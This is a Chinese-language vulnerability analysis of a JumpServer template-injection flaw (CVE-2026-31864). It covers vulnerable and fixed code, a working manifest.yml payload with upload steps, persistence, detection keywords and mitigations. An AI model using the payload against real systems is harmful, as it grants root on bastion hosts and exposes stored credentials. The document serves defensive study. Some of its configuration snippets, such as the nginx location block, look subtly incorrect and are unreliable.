JumpServer 远程代码执行漏洞 CVE-2026-31864 漏洞分析
字数 4151
更新时间 2026-03-16 12:04:37

JumpServer CVE-2026-31864 远程代码执行漏洞分析教学文档

1. 漏洞概述

1.1 漏洞编号

  • CVE-2026-31864

1.2 漏洞类型

  • 服务端模板注入(SSTI)
  • 远程代码执行(RCE)

1.3 影响组件

  • JumpServer 堡垒机
  • 受影响功能:Applet(远程应用发布器)和 VirtualApp(虚拟应用)上传功能

1.4 漏洞本质

漏洞根源在于 JumpServer 在处理用户上传的 YAML 配置文件时,使用了未启用沙箱的 Jinja2 模板引擎。当攻击者能够控制 manifest.yml 文件内容时,可在服务器端执行任意 Python 代码,最终获得在 JumpServer Core 容器内以 root 权限执行系统命令的能力。

1.5 漏洞时间线

  • 漏洞引入时间:2023年4月(i18n 功能引入时)
  • 漏洞修复时间:2026年2月4日
  • 漏洞窗口期:接近2年10个月

2. 漏洞技术分析

2.1 漏洞代码位置

文件路径:apps/common/utils/yml.py
函数名称:yaml_load_with_i18n()

2.2 漏洞代码(v4.10.15及之前版本)

import io
import yaml
from jinja2 import Environment  # 关键问题:使用默认 Environment,无沙箱

def yaml_load_with_i18n(stream, lang=None):
    ori_text = stream.read()  # 用户可控的 manifest.yml 内容
    stream = io.StringIO(ori_text)
    yaml_data = yaml.safe_load(stream)  # 安全,仅验证YAML语法
    i18n = yaml_data.get('i18n', {})
    
    # 漏洞核心:使用无沙箱的 Jinja2 环境
    env = Environment()  # 无沙箱保护
    env.filters['trans'] = lambda key: translate(key, i18n, lang)
    template = env.from_string(ori_text)  # 用户内容被当作模板编译
    yaml_data = template.render()  # RCE 触发点:执行模板渲染
    yaml_f = io.StringIO(yaml_data)
    d = yaml.safe_load(yaml_f)
    if isinstance(d, dict):
        d.pop('i18n', None)
    return d

2.3 漏洞形成原因分析

2.3.1 设计缺陷三重问题

  1. 沙箱缺失

    • 使用 jinja2.Environment() 而非 jinja2.sandbox.SandboxedEnvironment()
    • 模板表达式可访问对象属性链(__globals____class__ 等)
  2. 用户完全可控

    • ori_text 完全来自用户上传的 manifest.yml 文件
    • 攻击者控制的是模板源码本身,而不仅仅是模板变量
  3. 执行顺序错位

    • template.render() 在 YAML 二次解析之前执行
    • 即使后续 yaml.safe_load() 因渲染结果格式错误而失败,代码执行已经发生

2.3.2 攻击入口链

lipsum(Jinja2内置函数)
.__globals__(获取函数全局命名空间)
['os'](访问os模块)
.popen()(执行系统命令)

3. 攻击面与利用条件

3.1 受影响的接口

调用位置 文件来源 用户可控 触发条件
Applet.validate_pkg() 用户上传ZIP 上传Applet包
Applet.load_platform_if_need() 用户上传ZIP ZIP中包含platform.yml
VirtualApp.validate_pkg() 用户上传ZIP 上传VirtualApp包
ManifestI18nMixin.read_manifest_with_i18n() 已安装包文件 间接可控 序列化对象时读取

注意read_manifest_with_i18n() 会导致持久化RCE,管理员查看已安装应用列表时会重复触发。

3.2 攻击入口

  1. Applet上传接口

    POST /api/v1/terminal/applets/upload/
    所需权限:terminal.add_applet
    ZIP必需文件:manifest.yml、icon.png、setup.yml
    
  2. VirtualApp上传接口

    POST /api/v1/terminal/virtual-apps/upload/
    所需权限:terminal.add_virtualapp
    ZIP必需文件:manifest.yml、icon.png
    

3.3 认证方式

攻击者可使用以下任一认证方式:

  • AccessKey 签名:Authorization: Sign {access_key_id}:{签名}
  • Private Token:Authorization: Token {token_key}
  • Bearer Token:Authorization: Bearer {token}
  • OAuth2 Token:Authorization: Bearer {oauth_token}
  • Session Cookie:Cookie: sessionid=...

注意:前四种方式无需CSRF防护,更易于利用。

3.4 利用前提条件

  1. 拥有可登录JumpServer的有效账号
  2. 账号具备以下权限之一:
    • terminal.add_applet
    • terminal.add_virtualapp

4. 完整攻击流程

4.1 攻击调用链

HTTP POST /api/v1/terminal/applets/upload/
│ Header: Authorization: Bearer {token}
│ Body: multipart/form-data, file=evil.zip
├── [认证] 认证中间件校验token
├── [鉴权] RBACPermission检查terminal.add_applet
├── [路由] AppletViewSet.upload()
├── [解压] extract_and_check_file()
│ ├── FileSerializer校验上传字段
│ ├── 保存ZIP到临时路径
│ ├── zipfile.ZipFile.extractall()解压
│ └── 计算tmp_dir
├── [校验] Applet.validate_pkg(tmp_dir)  # 核心漏洞触发点
│ ├── 检查manifest.yml/icon.png/setup.yml是否存在
│ ├── 打开manifest.yml
│ └── yaml_load_with_i18n(f)  # 漏洞函数
│     ├── 读取ori_text
│     ├── yaml.safe_load(ori_text)  # 仅语法校验
│     ├── Environment().from_string(ori_text)  # 模板编译
│     └── template.render()  # RCE发生
└── [安装] Applet.install_from_dir(tmp_dir)
    ├── 再次调用validate_pkg()  # 可能二次触发
    ├── 若存在platform.yml,load_platform_if_need()继续触发
    └── copytree()将恶意文件写入持久化目录

4.2 Payload构造示例

name: poc_app
display_name: "PoC App"
version: "1.0"
author: "{{ lipsum.__globals__['os'].popen('echo aWQ=|base64 -d|sh').read().strip() }}"
is_active: true
protocols:
  - vnc
image_name: "poc_app"
image_protocol: "vnc"
image_port: 5900
tags: []
comment: ""
i18n: {}

Payload说明

  • lipsum:Jinja2内置函数,作为攻击起点
  • __globals__:获取函数全局命名空间
  • ['os']:访问os模块
  • popen('echo aWQ=|base64 -d|sh')
    • aWQ=id 命令的base64编码
    • 通过base64编码避免YAML/Jinja2语法冲突
  • read().strip():读取命令输出

4.3 攻击步骤

步骤1:获取认证令牌

POST /api/v1/authentication/tokens/ HTTP/1.1
Content-Type: application/json

{"username": "admin", "password": "password"}

步骤2:构造恶意ZIP包

VirtualApp最小结构

poc_app.zip
└── poc_app/
    ├── manifest.yml  # 包含恶意payload
    └── icon.png      # 占位图片文件

Applet需要额外文件

  • setup.yml

步骤3:上传恶意包

POST /api/v1/terminal/virtual-apps/upload/ HTTP/1.1
Authorization: Bearer {token}
Content-Type: multipart/form-data; boundary=---

---
Content-Disposition: form-data; name="file"; filename="poc_app.zip"
Content-Type: application/zip

{ZIP二进制内容}
---

步骤4:读取执行结果

成功回显示例

{
  "id": "...",
  "name": "poc_app",
  "author": "uid=0(root) gid=0(root) groups=0(root)"
}

注意事项

  • 即使YAML解析失败(返回500),代码已在template.render()阶段执行
  • 可通过外带或反弹Shell方式确认执行成功

4.4 持久化机制

恶意manifest.yml写入位置:

  • data/media/applets/{name}/manifest.yml
  • data/media/virtual_apps/{name}/manifest.yml

持久化触发场景

  • 管理员查看Applet/VirtualApp列表页
  • 系统序列化对象时调用read_manifest_with_i18n()
  • 每次读取都会重新渲染模板,导致RCE重复触发

5. 漏洞修复分析

5.1 修复代码(v4.10.16+)

import yaml
from jinja2 import StrictUndefined
from jinja2.sandbox import SandboxedEnvironment  # 关键修复:使用沙箱环境

def yaml_load_with_i18n(stream, lang=None):
    ori_text = stream.read()
    data = yaml.safe_load(ori_text)
    i18n = data.get("i18n", {})

    # 修复1:使用沙箱环境
    env = SandboxedEnvironment(
        undefined=StrictUndefined,
        autoescape=False,
    )

    def safe_trans(key):
        if not isinstance(key, str):
            raise ValueError("invalid i18n key")
        return translate(key, i18n, lang)

    # 修复2-3:清空默认上下文
    env.filters.clear()   # 清空过滤器
    env.globals.clear()   # 清空全局变量
    
    # 修复4:严格校验
    env.filters["trans"] = safe_trans

    template = env.from_string(ori_text)
    try:
        rendered = template.render()
    except Exception:
        rendered = ori_text  # 异常降级处理

    result = yaml.safe_load(rendered)
    result.pop("i18n", None)
    return result

5.2 修复提交

  • 提交哈希:820b83158
  • 提交时间:2026-02-04

5.3 修复措施四重防护

  1. 沙箱隔离SandboxedEnvironment替代Environment()
  2. 清空全局变量env.globals.clear()移除lipsum等危险入口
  3. 清空过滤器env.filters.clear()移除潜在危险过滤器
  4. 输入校验:对trans过滤器输入进行类型检查

6. 影响评估

6.1 直接影响

  • 任意命令执行:在JumpServer Core容器内以root权限执行系统命令
  • 敏感信息泄露
    • 数据库连接信息
    • Redis/PostgreSQL/MySQL访问凭证
    • SECRET_KEY获取
    • 被管理资产凭据解密

6.2 横向扩展风险

  1. 凭据窃取:导出数据库中存储的所有资产连接凭据
  2. 密钥滥用:利用SECRET_KEY解密系统敏感字段
  3. 任务控制:通过Celery任务系统影响Worker节点
  4. 内网渗透:利用JumpServer已有的主机连接能力横向移动
  5. 运维入口接管:控制堡垒机等于控制整个运维体系入口

6.3 影响版本范围

受影响版本:
- v3.2.0 – v3.10.21
- v4.0.0 – v4.10.15

安全版本:
- v3.10.22+
- v4.10.16+

7. 漏洞检测与排查

7.1 版本确认

# 检查JumpServer版本
jumpserver --version

7.2 接口日志审计

重点检查以下接口的异常调用:

# 查看访问日志
grep -E "POST /api/v1/terminal/(applets|virtual-apps)/upload/" access.log

# 关注异常特征
- 来源IP异常
- 访问频率异常
- 非工作时间访问
- 非常见User-Agent

7.3 恶意文件排查

# 扫描持久化目录中的恶意manifest.yml
grep -r '{{' /path/to/jumpserver/data/media/applets/*/manifest.yml
grep -r '{{' /path/to/jumpserver/data/media/virtual_apps/*/manifest.yml

# 重点关注关键词
__globals__
__class__
lipsum
cycler
joiner
popen
subprocess
os

7.4 权限审计

检查拥有以下权限的账号:

  • terminal.add_applet
  • terminal.add_virtualapp

关注点:

  • 是否存在过度授权
  • 临时权限是否及时回收
  • 是否有未知或异常账号

8. 修复与缓解措施

8.1 根本修复

立即升级到安全版本

  • v3.10.22 或更高版本
  • v4.10.16 或更高版本

8.2 临时缓解措施

8.2.1 网络层控制

# Nginx配置示例:限制上传接口访问
location /api/v1/terminal/(applets|virtual-apps)/upload/ {
    # 仅允许管理网段访问
    allow 10.0.0.0/8;
    allow 192.168.0.0/16;
    deny all;
    
    # 其他安全头
    add_header X-Content-Type-Options nosniff;
    add_header X-Frame-Options DENY;
    add_header X-XSS-Protection "1; mode=block";
}

8.2.2 权限收紧

  1. 临时回收权限

    # 通过JumpServer管理界面或API
    # 移除所有非必要账号的以下权限:
    # - terminal.add_applet
    # - terminal.add_virtualapp
    
  2. 权限审批流程

    • 添加上传权限需二级审批
    • 权限使用后立即回收
    • 定期审计权限分配

8.2.3 功能下线

# 临时注释或禁用上传接口
# 在urls.py中注释相关路由
# urlpatterns = [
#     # path('api/v1/terminal/applets/upload/', ...),  # 临时禁用
#     # path('api/v1/terminal/virtual-apps/upload/', ...),  # 临时禁用
# ]

8.2.4 文件清理

# 清理可疑的已安装包
rm -rf /path/to/jumpserver/data/media/applets/suspicious_app/
rm -rf /path/to/jumpserver/data/media/virtual_apps/suspicious_app/

# 注意:清理前备份可疑文件供取证分析

8.3 安全加固建议

8.3.1 代码层面

  1. 输入验证增强

    # 添加manifest.yml内容安全校验
    def validate_manifest_content(content):
        # 禁止Jinja2模板语法
        forbidden_patterns = [
            r'\{\{.*?\}\}',  # 模板变量
            r'\{%[-+]?.*?[-+]?%\}',  # 模板标签
            r'\{#.*?#\}'  # 模板注释
        ]
        for pattern in forbidden_patterns:
            if re.search(pattern, content, re.DOTALL):
                raise ValidationError("禁止在manifest中使用模板语法")
    
  2. 深度防御

    # 使用更安全的YAML加载方式
    import yaml
    from yaml.constructor import SafeConstructor
    
    class RestrictedConstructor(SafeConstructor):
        def construct_python(self, node):
            raise yaml.ConstructorError(
                None, None,
                "禁止加载Python对象", node.start_mark
            )
    
    RestrictedConstructor.add_constructor(
        'tag:yaml.org,2002:python/object',
        RestrictedConstructor.construct_python
    )
    
    def safe_yaml_load(stream):
        loader = yaml.Loader(stream)
        loader.constructor = RestrictedConstructor
        return loader.get_single_data()
    

8.3.2 运维层面

  1. 容器安全

    # Dockerfile安全增强
    USER jumpserver  # 非root用户运行
    RUN chmod -R 750 /opt/jumpserver/data/media/
    
  2. 文件监控

    # 实时监控manifest.yml文件变化
    inotifywait -m -r -e create,modify /opt/jumpserver/data/media/ |
    while read path action file; do
        if [[ "$file" == "manifest.yml" ]]; then
            echo "警告:$path/$file 被修改" | mail -s "JumpServer文件监控" admin@example.com
        fi
    done
    
  3. 审计增强

    # 添加上传操作详细日志
    import logging
    logger = logging.getLogger('security')
    
    def log_upload_attempt(user, filename, ip):
        logger.warning(
            f"文件上传尝试 - 用户:{user} 文件:{filename} IP:{ip}",
            extra={
                'user': user,
                'filename': filename,
                'source_ip': ip,
                'event_type': 'file_upload'
            }
        )
    

9. 漏洞修复验证

9.1 代码修复验证

# 验证脚本:测试修复是否生效
import yaml
from jinja2.sandbox import SandboxedEnvironment

def test_sandbox_environment():
    """测试沙箱环境是否能阻止SSTI"""
    env = SandboxedEnvironment()
    template = env.from_string("{{ lipsum.__globals__['os'].popen('id').read() }}")
    
    try:
        result = template.render()
        print(f"❌ 修复失败,执行结果: {result}")
        return False
    except Exception as e:
        print(f"✅ 修复生效,错误信息: {e}")
        return True

# 执行测试
test_sandbox_environment()

9.2 功能回归测试

  1. 正常功能测试

    # 上传合法的Applet/VirtualApp包
    curl -X POST \
      -H "Authorization: Bearer $TOKEN" \
      -F "file=@legitimate_app.zip" \
      https://jumpserver.example.com/api/v1/terminal/applets/upload/
    
  2. 漏洞利用测试

    # 尝试利用漏洞(应失败)
    curl -X POST \
      -H "Authorization: Bearer $TOKEN" \
      -F "file=@malicious_app.zip" \
      https://jumpserver.example.com/api/v1/terminal/applets/upload/
    
    # 期望结果:返回错误,而非命令执行成功
    

9.3 安全扫描

# 使用安全扫描工具检查
# 1. 代码静态分析
bandit -r /opt/jumpserver/apps/common/utils/yml.py

# 2. 依赖项检查
pip-audit

# 3. 配置检查
grep -r "Environment()" /opt/jumpserver/ --include="*.py" | grep -v "SandboxedEnvironment"

10. 总结与经验教训

10.1 漏洞根本原因

核心问题:将用户完全可控的文本内容,在无沙箱隔离的环境下作为模板渲染执行。

10.2 安全开发建议

  1. 原则:永远不要信任用户输入
  2. 实践
    • 使用模板引擎时必须启用沙箱
    • 对用户可控的模板内容进行严格白名单校验
    • 避免在模板渲染中执行任何可能访问系统资源的操作
  3. 深度防御
    • 在多个层次实施安全控制
    • 输入验证 + 沙箱隔离 + 权限控制 + 审计日志

10.3 运维安全建议

  1. 最小权限原则:严格控制系统组件权限
  2. 纵深防御:网络隔离 + 主机加固 + 应用安全
  3. 持续监控:实时监控异常文件操作和API调用
  4. 定期审计:检查权限分配、文件变更、日志记录

10.4 应急响应流程

  1. 识别:通过监控告警发现异常
  2. 遏制:隔离受影响系统,禁用相关功能
  3. 根除:应用安全补丁,清理恶意文件
  4. 恢复:验证修复,恢复服务
  5. 复盘:分析攻击路径,完善防护措施

附录:参考资源

官方资源

  1. JumpServer安全公告:[链接需根据实际公告更新]
  2. 修复版本下载:https://github.com/jumpserver/jumpserver/releases

安全资源

  1. Jinja2沙箱文档:https://jinja.palletsprojects.com/en/stable/sandbox/
  2. YAML安全加载:https://pyyaml.org/wiki/PyYAMLDocumentation
  3. SSTI防护指南:OWASP Server Side Template Injection

检测工具

  1. 静态代码分析:
  2. 动态扫描:

文档最后更新:2026年3月16日
基于分析文章:奇安信攻防社区《JumpServer 远程代码执行漏洞 CVE-2026-31864 漏洞分析》
注意:本文档仅用于安全研究和教育目的,请勿用于非法用途。

相似文章
相似文章
 全屏